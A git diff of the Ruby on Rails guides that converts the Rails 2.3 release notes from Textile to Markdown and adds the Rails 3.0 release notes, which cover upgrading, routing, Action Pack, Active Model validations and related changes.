-* You can use +Enumerable#none?+ to check that none of the elements match the supplied block.
-* If you're using Active Support "delegates":http://afreshcup.com/2008/10/19/coming-in-rails-22-delegate-prefixes/, the new +:allow_nil+ option lets you return +nil+ instead of raising an exception when the target object is nil.
-* +ActiveSupport::OrderedHash+: now implements +each_key+ and +each_value+.
-* +ActiveSupport::MessageEncryptor+ provides a simple way to encrypt information for storage in an untrusted location (like cookies).
-* Active Support's +from_xml+ no longer depends on XmlSimple. Instead, Rails now includes its own XmlMini implementation, with just the functionality that it requires. This lets Rails dispense with the bundled copy of XmlSimple that it's been carting around.
+* You can use `Enumerable#none?` to check that none of the elements match the supplied block.
+* If you're using Active Support [delegates](http://afreshcup.com/2008/10/19/coming-in-rails-22-delegate-prefixes/,) the new `:allow_nil` option lets you return `nil` instead of raising an exception when the target object is nil.
+* `ActiveSupport::OrderedHash`: now implements `each_key` and `each_value`.
+* `ActiveSupport::MessageEncryptor` provides a simple way to encrypt information for storage in an untrusted location (like cookies).
+* Active Support's `from_xml` no longer depends on XmlSimple. Instead, Rails now includes its own XmlMini implementation, with just the functionality that it requires. This lets Rails dispense with the bundled copy of XmlSimple that it's been carting around.
* If you memoize a private method, the result will now be private.
-* +String#parameterize+ accepts an optional separator: +"Quick Brown Fox".parameterize('_') => "quick_brown_fox"+.
-* +number_to_phone+ accepts 7-digit phone numbers now.
-* +ActiveSupport::Json.decode+ now handles +\u0000+ style escape sequences.
+* `String#parameterize` accepts an optional separator: `"Quick Brown Fox".parameterize('_') => "quick_brown_fox"`.
+* `number_to_phone` accepts 7-digit phone numbers now.
+* `ActiveSupport::Json.decode` now handles `\u0000` style escape sequences.
-h3. Railties
+Railties
+--------
In addition to the Rack changes covered above, Railties (the core code of Rails itself) sports a number of significant changes, including Rails Metal, application templates, and quiet backtraces.
-h4. Rails Metal
+### Rails Metal
Rails Metal is a new mechanism that provides superfast endpoints inside of your Rails applications. Metal classes bypass routing and Action Controller to give you raw speed (at the cost of all the things in Action Controller, of course). This builds on all of the recent foundation work to make Rails a Rack application with an exposed middleware stack. Metal endpoints can be loaded from your application or from plugins.
* More Information:
-** "Introducing Rails Metal":http://weblog.rubyonrails.org/2008/12/17/introducing-rails-metal
-** "Rails Metal: a micro-framework with the power of Rails":http://soylentfoo.jnewland.com/articles/2008/12/16/rails-metal-a-micro-framework-with-the-power-of-rails-m
-** "Metal: Super-fast Endpoints within your Rails Apps":http://www.railsinside.com/deployment/180-metal-super-fast-endpoints-within-your-rails-apps.html
-** "What's New in Edge Rails: Rails Metal":http://ryandaigle.com/articles/2008/12/18/what-s-new-in-edge-rails-rails-metal
+ * [Introducing Rails Metal](http://weblog.rubyonrails.org/2008/12/17/introducing-rails-metal)
+ * [Rails Metal: a micro-framework with the power of Rails](http://soylentfoo.jnewland.com/articles/2008/12/16/rails-metal-a-micro-framework-with-the-power-of-rails-m)
+ * [Metal: Super-fast Endpoints within your Rails Apps](http://www.railsinside.com/deployment/180-metal-super-fast-endpoints-within-your-rails-apps.html)
+ * [What's New in Edge Rails: Rails Metal](http://ryandaigle.com/articles/2008/12/18/what-s-new-in-edge-rails-rails-metal)
-h4. Application Templates
+### Application Templates
-Rails 2.3 incorporates Jeremy McAnally's "rg":http://github.com/jeremymcanally/rg/tree/master application generator. What this means is that we now have template-based application generation built right into Rails; if you have a set of plugins you include in every application (among many other use cases), you can just set up a template once and use it over and over again when you run the +rails+ command. There's also a rake task to apply a template to an existing application:
+Rails 2.3 incorporates Jeremy McAnally's [rg](http://github.com/jeremymcanally/rg/tree/master) application generator. What this means is that we now have template-based application generation built right into Rails; if you have a set of plugins you include in every application (among many other use cases), you can just set up a template once and use it over and over again when you run the `rails` command. There's also a rake task to apply a template to an existing application:
-<ruby>
+```
rake rails:template LOCATION=~/template.rb
-</ruby>
+```
This will layer the changes from the template on top of whatever code the project already contains.
-* Lead Contributor: "Jeremy McAnally":http://www.jeremymcanally.com/
-* More Info:"Rails templates":http://m.onkey.org/2008/12/4/rails-templates
+* Lead Contributor: [Jeremy McAnally](http://www.jeremymcanally.com/)
+* More Info:[Rails templates](http://m.onkey.org/2008/12/4/rails-templates)
-h4. Quieter Backtraces
+### Quieter Backtraces
-Building on Thoughtbot's "Quiet Backtrace":https://github.com/thoughtbot/quietbacktrace plugin, which allows you to selectively remove lines from +Test::Unit+ backtraces, Rails 2.3 implements +ActiveSupport::BacktraceCleaner+ and +Rails::BacktraceCleaner+ in core. This supports both filters (to perform regex-based substitutions on backtrace lines) and silencers (to remove backtrace lines entirely). Rails automatically adds silencers to get rid of the most common noise in a new application, and builds a +config/backtrace_silencers.rb+ file to hold your own additions. This feature also enables prettier printing from any gem in the backtrace.
+Building on Thoughtbot's [Quiet Backtrace](https://github.com/thoughtbot/quietbacktrace) plugin, which allows you to selectively remove lines from `Test::Unit` backtraces, Rails 2.3 implements `ActiveSupport::BacktraceCleaner` and `Rails::BacktraceCleaner` in core. This supports both filters (to perform regex-based substitutions on backtrace lines) and silencers (to remove backtrace lines entirely). Rails automatically adds silencers to get rid of the most common noise in a new application, and builds a `config/backtrace_silencers.rb` file to hold your own additions. This feature also enables prettier printing from any gem in the backtrace.
-h4. Faster Boot Time in Development Mode with Lazy Loading/Autoload
+### Faster Boot Time in Development Mode with Lazy Loading/Autoload
-Quite a bit of work was done to make sure that bits of Rails (and its dependencies) are only brought into memory when they're actually needed. The core frameworks - Active Support, Active Record, Action Controller, Action Mailer and Action View - are now using +autoload+ to lazy-load their individual classes. This work should help keep the memory footprint down and improve overall Rails performance.
+Quite a bit of work was done to make sure that bits of Rails (and its dependencies) are only brought into memory when they're actually needed. The core frameworks - Active Support, Active Record, Action Controller, Action Mailer and Action View - are now using `autoload` to lazy-load their individual classes. This work should help keep the memory footprint down and improve overall Rails performance.
-You can also specify (by using the new +preload_frameworks+ option) whether the core libraries should be autoloaded at startup. This defaults to +false+ so that Rails autoloads itself piece-by-piece, but there are some circumstances where you still need to bring in everything at once - Passenger and JRuby both want to see all of Rails loaded together.
+You can also specify (by using the new `preload_frameworks` option) whether the core libraries should be autoloaded at startup. This defaults to `false` so that Rails autoloads itself piece-by-piece, but there are some circumstances where you still need to bring in everything at once - Passenger and JRuby both want to see all of Rails loaded together.
-h4. rake gem Task Rewrite
+### rake gem Task Rewrite
The internals of the various <code>rake gem</code> tasks have been substantially revised, to make the system work better for a variety of cases. The gem system now knows the difference between development and runtime dependencies, has a more robust unpacking system, gives better information when querying for the status of gems, and is less prone to "chicken and egg" dependency issues when you're bringing things up from scratch. There are also fixes for using gem commands under JRuby and for dependencies that try to bring in external copies of gems that are already vendored.
-* Lead Contributor: "David Dollar":http://www.workingwithrails.com/person/12240-david-dollar
+* Lead Contributor: [David Dollar](http://www.workingwithrails.com/person/12240-david-dollar)
-h4. Other Railties Changes
+### Other Railties Changes
* The instructions for updating a CI server to build Rails have been updated and expanded.
-* Internal Rails testing has been switched from +Test::Unit::TestCase+ to +ActiveSupport::TestCase+, and the Rails core requires Mocha to test.
-* The default +environment.rb+ file has been decluttered.
+* Internal Rails testing has been switched from `Test::Unit::TestCase` to `ActiveSupport::TestCase`, and the Rails core requires Mocha to test.
+* The default `environment.rb` file has been decluttered.
* The dbconsole script now lets you use an all-numeric password without crashing.
-* +Rails.root+ now returns a +Pathname+ object, which means you can use it directly with the +join+ method to "clean up existing code":http://afreshcup.com/2008/12/05/a-little-rails_root-tidiness/ that uses +File.join+.
-* Various files in /public that deal with CGI and FCGI dispatching are no longer generated in every Rails application by default (you can still get them if you need them by adding +--with-dispatchers+ when you run the +rails+ command, or add them later with +rake rails:update:generate_dispatchers+).
+* `Rails.root` now returns a `Pathname` object, which means you can use it directly with the `join` method to [clean up existing code](http://afreshcup.com/2008/12/05/a-little-rails_root-tidiness/) that uses `File.join`.
+* Various files in /public that deal with CGI and FCGI dispatching are no longer generated in every Rails application by default (you can still get them if you need them by adding `--with-dispatchers` when you run the `rails` command, or add them later with `rake rails:update:generate_dispatchers`).
* Rails Guides have been converted from AsciiDoc to Textile markup.
* Scaffolded views and controllers have been cleaned up a bit.
-* +script/server+ now accepts a <tt>--path</tt> argument to mount a Rails application from a specific path.
+* `script/server` now accepts a <tt>--path</tt> argument to mount a Rails application from a specific path.
* If any configured gems are missing, the gem rake tasks will skip loading much of the environment. This should solve many of the "chicken-and-egg" problems where rake gems:install couldn't run because gems were missing.
* Gems are now unpacked exactly once. This fixes issues with gems (hoe, for instance) which are packed with read-only permissions on the files.
-h3. Deprecated
+Deprecated
+----------
A few pieces of older code are deprecated in this release:
-* If you're one of the (fairly rare) Rails developers who deploys in a fashion that depends on the inspector, reaper, and spawner scripts, you'll need to know that those scripts are no longer included in core Rails. If you need them, you'll be able to pick up copies via the "irs_process_scripts":http://github.com/rails/irs_process_scripts/tree plugin.
-* +render_component+ goes from "deprecated" to "nonexistent" in Rails 2.3. If you still need it, you can install the "render_component plugin":http://github.com/rails/render_component/tree/master.
+* If you're one of the (fairly rare) Rails developers who deploys in a fashion that depends on the inspector, reaper, and spawner scripts, you'll need to know that those scripts are no longer included in core Rails. If you need them, you'll be able to pick up copies via the [irs_process_scripts](http://github.com/rails/irs_process_scripts/tree) plugin.
+* `render_component` goes from "deprecated" to "nonexistent" in Rails 2.3. If you still need it, you can install the [render_component plugin](http://github.com/rails/render_component/tree/master.)
* Support for Rails components has been removed.
-* If you were one of the people who got used to running +script/performance/request+ to look at performance based on integration tests, you need to learn a new trick: that script has been removed from core Rails now. There’s a new request_profiler plugin that you can install to get the exact same functionality back.
-* +ActionController::Base#session_enabled?+ is deprecated because sessions are lazy-loaded now.
-* The +:digest+ and +:secret+ options to +protect_from_forgery+ are deprecated and have no effect.
-* Some integration test helpers have been removed. +response.headers["Status"]+ and +headers["Status"]+ will no longer return anything. Rack does not allow "Status" in its return headers. However you can still use the +status+ and +status_message+ helpers. +response.headers["cookie"]+ and +headers["cookie"]+ will no longer return any CGI cookies. You can inspect +headers["Set-Cookie"]+ to see the raw cookie header or use the +cookies+ helper to get a hash of the cookies sent to the client.
-* +formatted_polymorphic_url+ is deprecated. Use +polymorphic_url+ with +:format+ instead.
-* The +:http_only+ option in +ActionController::Response#set_cookie+ has been renamed to +:httponly+.
-* The +:connector+ and +:skip_last_comma+ options of +to_sentence+ have been replaced by +:words_connnector+, +:two_words_connector+, and +:last_word_connector+ options.
-* Posting a multipart form with an empty +file_field+ control used to submit an empty string to the controller. Now it submits a nil, due to differences between Rack's multipart parser and the old Rails one.
-
-h3. Credits
-
-Release notes compiled by "Mike Gunderloy":http://afreshcup.com. This version of the Rails 2.3 release notes was compiled based on RC2 of Rails 2.3.
+* If you were one of the people who got used to running `script/performance/request` to look at performance based on integration tests, you need to learn a new trick: that script has been removed from core Rails now. There’s a new request_profiler plugin that you can install to get the exact same functionality back.
+* `ActionController::Base#session_enabled?` is deprecated because sessions are lazy-loaded now.
+* The `:digest` and `:secret` options to `protect_from_forgery` are deprecated and have no effect.
+* Some integration test helpers have been removed. `response.headers["Status"]` and `headers["Status"]` will no longer return anything. Rack does not allow "Status" in its return headers. However you can still use the `status` and `status_message` helpers. `response.headers["cookie"]` and `headers["cookie"]` will no longer return any CGI cookies. You can inspect `headers["Set-Cookie"]` to see the raw cookie header or use the `cookies` helper to get a hash of the cookies sent to the client.
+* `formatted_polymorphic_url` is deprecated. Use `polymorphic_url` with `:format` instead.
+* The `:http_only` option in `ActionController::Response#set_cookie` has been renamed to `:httponly`.
+* The `:connector` and `:skip_last_comma` options of `to_sentence` have been replaced by `:words_connnector`, `:two_words_connector`, and `:last_word_connector` options.
+* Posting a multipart form with an empty `file_field` control used to submit an empty string to the controller. Now it submits a nil, due to differences between Rack's multipart parser and the old Rails one.
+
+Credits
+-------
+
+Release notes compiled by [Mike Gunderloy](http://afreshcup.com.) This version of the Rails 2.3 release notes was compiled based on RC2 of Rails 2.3.
diff --git a/guides/source/3_0_release_notes.md b/guides/source/3_0_release_notes.md
new file mode 100644
index 0000000000..388ba3fa30
--- /dev/null
+++ b/guides/source/3_0_release_notes.md
@@ -0,0 +1,614 @@
+Ruby on Rails 3.0 Release Notes
+===============================
+
+Rails 3.0 is ponies and rainbows! It's going to cook you dinner and fold your laundry. You're going to wonder how life was ever possible before it arrived. It's the Best Version of Rails We've Ever Done!
+
+But seriously now, it's really good stuff. There are all the good ideas brought over from when the Merb team joined the party and brought a focus on framework agnosticism, slimmer and faster internals, and a handful of tasty APIs. If you're coming to Rails 3.0 from Merb 1.x, you should recognize lots. If you're coming from Rails 2.x, you're going to love it too.
+
+Even if you don't give a hoot about any of our internal cleanups, Rails 3.0 is going to delight. We have a bunch of new features and improved APIs. It's never been a better time to be a Rails developer. Some of the highlights are:
+
+* Brand new router with an emphasis on RESTful declarations
+* New Action Mailer API modeled after Action Controller (now without the agonizing pain of sending multipart messages!)
+* New Active Record chainable query language built on top of relational algebra
+* Unobtrusive JavaScript helpers with drivers for Prototype, jQuery, and more coming (end of inline JS)
+* Explicit dependency management with Bundler
+
+On top of all that, we've tried our best to deprecate the old APIs with nice warnings. That means that you can move your existing application to Rails 3 without immediately rewriting all your old code to the latest best practices.
+
+These release notes cover the major upgrades, but don't include every little bug fix and change. Rails 3.0 consists of almost 4,000 commits by more than 250 authors! If you want to see everything, check out the [list of commits](http://github.com/rails/rails/commits/master) in the main Rails repository on GitHub.
+
+--------------------------------------------------------------------------------
+
+To install Rails 3:
+
+```bash
+# Use sudo if your setup requires it
+$ gem install rails
+```
+
+
+Upgrading to Rails 3
+--------------------
+
+If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 2.3.5 and make sure your application still runs as expected before attempting to update to Rails 3. Then take heed of the following changes:
+
+### Rails 3 requires at least Ruby 1.8.7
+
+Rails 3.0 requires Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially and you should upgrade as early as possible. Rails 3.0 is also compatible with Ruby 1.9.2.
+
+TIP: Note that Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails 3.0. Ruby Enterprise Edition have these fixed since release 1.8.7-2010.02 though. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults on Rails 3.0, so if you want to use Rails 3 with 1.9.x jump on 1.9.2 for smooth sailing.
+
+### Rails Application object
+
+As part of the groundwork for supporting running multiple Rails applications in the same process, Rails 3 introduces the concept of an Application object. An application object holds all the application specific configurations and is very similar in nature to `config/environment.rb` from the previous versions of Rails.
+
+Each Rails application now must have a corresponding application object. The application object is defined in `config/application.rb`. If you're upgrading an existing application to Rails 3, you must add this file and move the appropriate configurations from `config/environment.rb` to `config/application.rb`.
+
+### script/* replaced by script/rails
+
+The new `script/rails` replaces all the scripts that used to be in the `script` directory. You do not run `script/rails` directly though, the `rails` command detects it is being invoked in the root of a Rails application and runs the script for you. Intended usage is:
+
+```bash
+$ rails console # instead of script/console
+$ rails g scaffold post title:string # instead of script/generate scaffold post title:string
+```
+
+Run `rails --help` for a list of all the options.
+
+### Dependencies and config.gem
+
+The `config.gem` method is gone and has been replaced by using `bundler` and a `Gemfile`, see [Vendoring Gems](#vendoring-gems) below.
+
+### Upgrade Process
+
+To help with the upgrade process, a plugin named [Rails Upgrade](http://github.com/rails/rails_upgrade) has been created to automate part of it.
+
+Simply install the plugin, then run `rake rails:upgrade:check` to check your app for pieces that need to be updated (with links to information on how to update them). It also offers a task to generate a `Gemfile` based on your current `config.gem` calls and a task to generate a new routes file from your current one. To get the plugin, simply run the following:
+
+```bash
+$ ruby script/plugin install git://github.com/rails/rails_upgrade.git
+```
+
+You can see an example of how that works at [Rails Upgrade is now an Official Plugin](http://omgbloglol.com/post/364624593/rails-upgrade-is-now-an-official-plugin)
+
+Aside from Rails Upgrade tool, if you need more help, there are people on IRC and [rubyonrails-talk](http://groups.google.com/group/rubyonrails-talk) that are probably doing the same thing, possibly hitting the same issues. Be sure to blog your own experiences when upgrading so others can benefit from your knowledge!
+
+More information - [The Path to Rails 3: Approaching the upgrade](http://omgbloglol.com/post/353978923/the-path-to-rails-3-approaching-the-upgrade)
+
+Creating a Rails 3.0 application
+--------------------------------
+
+```bash
+# You should have the 'rails' rubygem installed
+$ rails new myapp
+$ cd myapp
+```
+
+### Vendoring Gems
+
+Rails now uses a `Gemfile` in the application root to determine the gems you require for your application to start. This `Gemfile` is processed by the [Bundler](http://github.com/carlhuda/bundler,) which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems.
+
+More information: - [bundler homepage](http://gembundler.com)
+
+### Living on the Edge
+
+`Bundler` and `Gemfile` makes freezing your Rails application easy as pie with the new dedicated `bundle` command, so `rake freeze` is no longer relevant and has been dropped.
+
+If you want to bundle straight from the Git repository, you can pass the `--edge` flag:
+
+```bash
+$ rails new myapp --edge
+```
+
+If you have a local checkout of the Rails repository and want to generate an application using that, you can pass the `--dev` flag:
+
+```bash
+$ ruby /path/to/rails/bin/rails new myapp --dev
+```
+
+Rails Architectural Changes
+---------------------------
+
+There are six major changes in the architecture of Rails.
+
+### Railties Restrung
+
+Railties was updated to provide a consistent plugin API for the entire Rails framework as well as a total rewrite of generators and the Rails bindings, the result is that developers can now hook into any significant stage of the generators and application framework in a consistent, defined manner.
+
+### All Rails core components are decoupled
+
+With the merge of Merb and Rails, one of the big jobs was to remove the tight coupling between Rails core components. This has now been achieved, and all Rails core components are now using the same API that you can use for developing plugins. This means any plugin you make, or any core component replacement (like DataMapper or Sequel) can access all the functionality that the Rails core components have access to and extend and enhance at will.
+
+More information: - [The Great Decoupling](http://yehudakatz.com/2009/07/19/rails-3-the-great-decoupling/)
+
+
+### Active Model Abstraction
+
+Part of decoupling the core components was extracting all ties to Active Record from Action Pack. This has now been completed. All new ORM plugins now just need to implement Active Model interfaces to work seamlessly with Action Pack.
+
+More information: - [Make Any Ruby Object Feel Like ActiveRecord](http://yehudakatz.com/2010/01/10/activemodel-make-any-ruby-object-feel-like-activerecord/)
+
+
+### Controller Abstraction
+
+Another big part of decoupling the core components was creating a base superclass that is separated from the notions of HTTP in order to handle rendering of views etc. This creation of `AbstractController` allowed `ActionController` and `ActionMailer` to be greatly simplified with common code removed from all these libraries and put into Abstract Controller.
+
+More Information: - [Rails Edge Architecture](http://yehudakatz.com/2009/06/11/rails-edge-architecture/)
+
+
+### Arel Integration
+
+[Arel](http://github.com/brynary/arel) (or Active Relation) has been taken on as the underpinnings of Active Record and is now required for Rails. Arel provides an SQL abstraction that simplifies out Active Record and provides the underpinnings for the relation functionality in Active Record.
+
+More information: - [Why I wrote Arel](http://magicscalingsprinkles.wordpress.com/2010/01/28/why-i-wrote-arel/.)
+
+
+### Mail Extraction
+
+Action Mailer ever since its beginnings has had monkey patches, pre parsers and even delivery and receiver agents, all in addition to having TMail vendored in the source tree. Version 3 changes that with all email message related functionality abstracted out to the [Mail](http://github.com/mikel/mail) gem. This again reduces code duplication and helps create definable boundaries between Action Mailer and the email parser.
+
+More information: - [New Action Mailer API in Rails 3](http://lindsaar.net/2010/1/26/new-actionmailer-api-in-rails-3)
+
+
+Documentation
+-------------
+
+The documentation in the Rails tree is being updated with all the API changes, additionally, the [Rails Edge Guides](http://edgeguides.rubyonrails.org/) are being updated one by one to reflect the changes in Rails 3.0. The guides at [guides.rubyonrails.org](http://guides.rubyonrails.org/) however will continue to contain only the stable version of Rails (at this point, version 2.3.5, until 3.0 is released).
+
+More Information: - [Rails Documentation Projects](http://weblog.rubyonrails.org/2009/1/15/rails-documentation-projects.)
+
+
+Internationalization
+--------------------
+
+A large amount of work has been done with I18n support in Rails 3, including the latest [I18n](http://github.com/svenfuchs/i18n) gem supplying many speed improvements.
+
+* I18n for any object - I18n behavior can be added to any object by including `ActiveModel::Translation` and `ActiveModel::Validations`. There is also an `errors.messages` fallback for translations.
+* Attributes can have default translations.
+* Form Submit Tags automatically pull the correct status (Create or Update) depending on the object status, and so pull the correct translation.
+* Labels with I18n also now work by just passing the attribute name.
+
+More Information: - [Rails 3 I18n changes](http://blog.plataformatec.com.br/2010/02/rails-3-i18n-changes/)
+
+
+Railties
+--------
+
+With the decoupling of the main Rails frameworks, Railties got a huge overhaul so as to make linking up frameworks, engines or plugins as painless and extensible as possible:
+
+* Each application now has its own name space, application is started with `YourAppName.boot` for example, makes interacting with other applications a lot easier.
+* Anything under `Rails.root/app` is now added to the load path, so you can make `app/observers/user_observer.rb` and Rails will load it without any modifications.
+* Rails 3.0 now provides a `Rails.config` object, which provides a central repository of all sorts of Rails wide configuration options.
+
+ Application generation has received extra flags allowing you to skip the installation of test-unit, Active Record, Prototype and Git. Also a new `--dev` flag has been added which sets the application up with the `Gemfile` pointing to your Rails checkout (which is determined by the path to the `rails` binary). See `rails --help` for more info.
+
+Railties generators got a huge amount of attention in Rails 3.0, basically:
+
+* Generators were completely rewritten and are backwards incompatible.
+* Rails templates API and generators API were merged (they are the same as the former).
+* Generators are no longer loaded from special paths anymore, they are just found in the Ruby load path, so calling `rails generate foo` will look for `generators/foo_generator`.
+* New generators provide hooks, so any template engine, ORM, test framework can easily hook in.
+* New generators allow you to override the templates by placing a copy at `Rails.root/lib/templates`.
+* `Rails::Generators::TestCase` is also supplied so you can create your own generators and test them.
+
+Also, the views generated by Railties generators had some overhaul:
+
+* Views now use `div` tags instead of `p` tags.
+* Scaffolds generated now make use of `_form` partials, instead of duplicated code in the edit and new views.
+* Scaffold forms now use `f.submit` which returns "Create ModelName" or "Update ModelName" depending on the state of the object passed in.
+
+Finally a couple of enhancements were added to the rake tasks:
+
+* `rake db:forward` was added, allowing you to roll forward your migrations individually or in groups.
+* `rake routes CONTROLLER=x` was added allowing you to just view the routes for one controller.
+
+Railties now deprecates:
+
+* `RAILS_ROOT` in favor of `Rails.root`,
+* `RAILS_ENV` in favor of `Rails.env`, and
+* `RAILS_DEFAULT_LOGGER` in favor of `Rails.logger`.
+
+`PLUGIN/rails/tasks`, and `PLUGIN/tasks` are no longer loaded all tasks now must be in `PLUGIN/lib/tasks`.
+
+More information:
+
+* [Discovering Rails 3 generators](http://blog.plataformatec.com.br/2010/01/discovering-rails-3-generators)
+* [Making Generators for Rails 3 with Thor](http://caffeinedd.com/guides/331-making-generators-for-rails-3-with-thor)
+* [The Rails Module (in Rails 3)](http://litanyagainstfear.com/blog/2010/02/03/the-rails-module/)
+
+Action Pack
+-----------
+
+There have been significant internal and external changes in Action Pack.
+
+
+### Abstract Controller
+
+Abstract Controller pulls out the generic parts of Action Controller into a reusable module that any library can use to render templates, render partials, helpers, translations, logging, any part of the request response cycle. This abstraction allowed `ActionMailer::Base` to now just inherit from `AbstractController` and just wrap the Rails DSL onto the Mail gem.
+
+It also provided an opportunity to clean up Action Controller, abstracting out what could to simplify the code.
+
+Note however that Abstract Controller is not a user facing API, you will not run into it in your day to day use of Rails.
+
+More Information: - [Rails Edge Architecture](http://yehudakatz.com/2009/06/11/rails-edge-architecture/)
+
+
+### Action Controller
+
+* `application_controller.rb` now has `protect_from_forgery` on by default.
+* The `cookie_verifier_secret` has been deprecated and now instead it is assigned through `Rails.application.config.cookie_secret` and moved into its own file: `config/initializers/cookie_verification_secret.rb`.
+* The `session_store` was configured in `ActionController::Base.session`, and that is now moved to `Rails.application.config.session_store`. Defaults are set up in `config/initializers/session_store.rb`.
+* `cookies.secure` allowing you to set encrypted values in cookies with `cookie.secure[:key] => value`.
+* `cookies.permanent` allowing you to set permanent values in the cookie hash `cookie.permanent[:key] => value` that raise exceptions on signed values if verification failures.
+* You can now pass `:notice => 'This is a flash message'` or `:alert => 'Something went wrong'` to the `format` call inside a `respond_to` block. The `flash[]` hash still works as previously.
+* `respond_with` method has now been added to your controllers simplifying the venerable `format` blocks.
+* `ActionController::Responder` added allowing you flexibility in how your responses get generated.
+
+Deprecations:
+
+* `filter_parameter_logging` is deprecated in favor of `config.filter_parameters << :password`.
+
+More Information:
+
+* [Render Options in Rails 3](http://www.engineyard.com/blog/2010/render-options-in-rails-3/)
+* [Three reasons to love ActionController::Responder](http://weblog.rubyonrails.org/2009/8/31/three-reasons-love-responder)
+
+
+### Action Dispatch
+
+Action Dispatch is new in Rails 3.0 and provides a new, cleaner implementation for routing.
+
+* Big clean up and re-write of the router, the Rails router is now `rack_mount` with a Rails DSL on top, it is a stand alone piece of software.
+* Routes defined by each application are now name spaced within your Application module, that is:
+
+ ```ruby
+ # Instead of:
+
+ ActionController::Routing::Routes.draw do |map|
+ map.resources :posts
+ end
+
+ # You do:
+
+ AppName::Application.routes do
+ resources :posts
+ end
+ ```
+
+* Added `match` method to the router, you can also pass any Rack application to the matched route.
+* Added `constraints` method to the router, allowing you to guard routers with defined constraints.
+* Added `scope` method to the router, allowing you to namespace routes for different languages or different actions, for example:
+
+ ```ruby
+ scope 'es' do
+ resources :projects, :path_names => { :edit => 'cambiar' }, :path => 'proyecto'
+ end
+
+ # Gives you the edit action with /es/proyecto/1/cambiar
+ ```
+
+* Added `root` method to the router as a short cut for `match '/', :to => path`.
+* You can pass optional segments into the match, for example `match "/:controller(/:action(/:id))(.:format)"`, each parenthesized segment is optional.
+* Routes can be expressed via blocks, for example you can call `controller :home { match '/:action' }`.
+
+NOTE. The old style `map` commands still work as before with a backwards compatibility layer, however this will be removed in the 3.1 release.
+
+Deprecations
+
+* The catch all route for non-REST applications (`/:controller/:action/:id`) is now commented out.
+* Routes :path\_prefix no longer exists and :name\_prefix now automatically adds "\_" at the end of the given value.
+
+More Information:
+* [The Rails 3 Router: Rack it Up](http://yehudakatz.com/2009/12/26/the-rails-3-router-rack-it-up/)
+* [Revamped Routes in Rails 3](http://rizwanreza.com/2009/12/20/revamped-routes-in-rails-3)
+* [Generic Actions in Rails 3](http://yehudakatz.com/2009/12/20/generic-actions-in-rails-3/)
+
+
+### Action View
+
+#### Unobtrusive JavaScript
+
+Major re-write was done in the Action View helpers, implementing Unobtrusive JavaScript (UJS) hooks and removing the old inline AJAX commands. This enables Rails to use any compliant UJS driver to implement the UJS hooks in the helpers.
+
+What this means is that all previous `remote_<method>` helpers have been removed from Rails core and put into the [Prototype Legacy Helper](http://github.com/rails/prototype_legacy_helper.) To get UJS hooks into your HTML, you now pass `:remote => true` instead. For example:
+
+```ruby
+form_for @post, :remote => true
+```
+
+Produces:
+
+```html
+<form action="http://host.com" id="create-post" method="post" data-remote="true">
+```
+
+#### Helpers with Blocks
+
+Helpers like `form_for` or `div_for` that insert content from a block use `<%=` now:
+
+```html+erb
+<%= form_for @post do |f| %>
+ ...
+<% end %>
+```
+
+Your own helpers of that kind are expected to return a string, rather than appending to the output buffer by hand.
+
+Helpers that do something else, like `cache` or `content_for`, are not affected by this change, they need `&lt;%` as before.
+
+#### Other Changes
+
+* You no longer need to call `h(string)` to escape HTML output, it is on by default in all view templates. If you want the unescaped string, call `raw(string)`.
+* Helpers now output HTML 5 by default.
+* Form label helper now pulls values from I18n with a single value, so `f.label :name` will pull the `:name` translation.
+* I18n select label on should now be :en.helpers.select instead of :en.support.select.
+* You no longer need to place a minus sign at the end of a ruby interpolation inside an ERb template to remove the trailing carriage return in the HTML output.
+* Added `grouped_collection_select` helper to Action View.
+* `content_for?` has been added allowing you to check for the existence of content in a view before rendering.
+* passing `:value => nil` to form helpers will set the field's `value` attribute to nil as opposed to using the default value
+* passing `:id => nil` to form helpers will cause those fields to be rendered with no `id` attribute
+* passing `:alt => nil` to `image_tag` will cause the `img` tag to render with no `alt` attribute
+
+Active Model
+------------
+
+Active Model is new in Rails 3.0. It provides an abstraction layer for any ORM libraries to use to interact with Rails by implementing an Active Model interface.
+
+
+### ORM Abstraction and Action Pack Interface
+
+Part of decoupling the core components was extracting all ties to Active Record from Action Pack. This has now been completed. All new ORM plugins now just need to implement Active Model interfaces to work seamlessly with Action Pack.
+
+More Information: - [Make Any Ruby Object Feel Like ActiveRecord](http://yehudakatz.com/2010/01/10/activemodel-make-any-ruby-object-feel-like-activerecord/)
+
+
+### Validations
+
+Validations have been moved from Active Record into Active Model, providing an interface to validations that works across ORM libraries in Rails 3.
+
+* There is now a `validates :attribute, options_hash` shortcut method that allows you to pass options for all the validates class methods, you can pass more than one option to a validate method.
+* The `validates` method has the following options:
+ * `:acceptance => Boolean`.
+ * `:confirmation => Boolean`.
+ * `:exclusion => { :in => Enumerable }`.
+ * `:inclusion => { :in => Enumerable }`.
+ * `:format => { :with => Regexp, :on => :create }`.
+ * `:length => { :maximum => Fixnum }`.
+ * `:numericality => Boolean`.
+ * `:presence => Boolean`.
+ * `:uniqueness => Boolean`.
+
+NOTE: All the Rails version 2.3 style validation methods are still supported in Rails 3.0, the new validates method is designed as an additional aid in your model validations, not a replacement for the existing API.
+
+You can also pass in a validator object, which you can then reuse between objects that use Active Model:
+
+```ruby
+class TitleValidator < ActiveModel::EachValidator
+ Titles = ['Mr.', 'Mrs.', 'Dr.']
+ def validate_each(record, attribute, value)
+ unless Titles.include?(value)
+ record.errors[attribute] << 'must be a valid title'
+ end
+ end
+end
+```
+
+```ruby
+class Person
+ include ActiveModel::Validations
+ attr_accessor :title
+ validates :title, :presence => true, :title => true
+end
+
+# Or for Active Record
+
+class Person < ActiveRecord::Base
+ validates :title, :presence => true, :title => true
+end
+```
+
+There's also support for introspection:
+
+```ruby
+User.validators
+User.validators_on(:login)
+```
+
+More Information:
+
+* [Sexy Validation in Rails 3](http://thelucid.com/2010/01/08/sexy-validation-in-edge-rails-rails-3/)
+* [Rails 3 Validations Explained](http://lindsaar.net/2010/1/31/validates_rails_3_awesome_is_true)
+
+
+Active Record
+-------------
+
+Active Record received a lot of attention in Rails 3.0, including abstraction into Active Model, a full update to the Query interface using Arel, validation updates and many enhancements and fixes. All of the Rails 2.x API will be usable through a compatibility layer that will be supported until version 3.1.
+
+
+### Query Interface
+
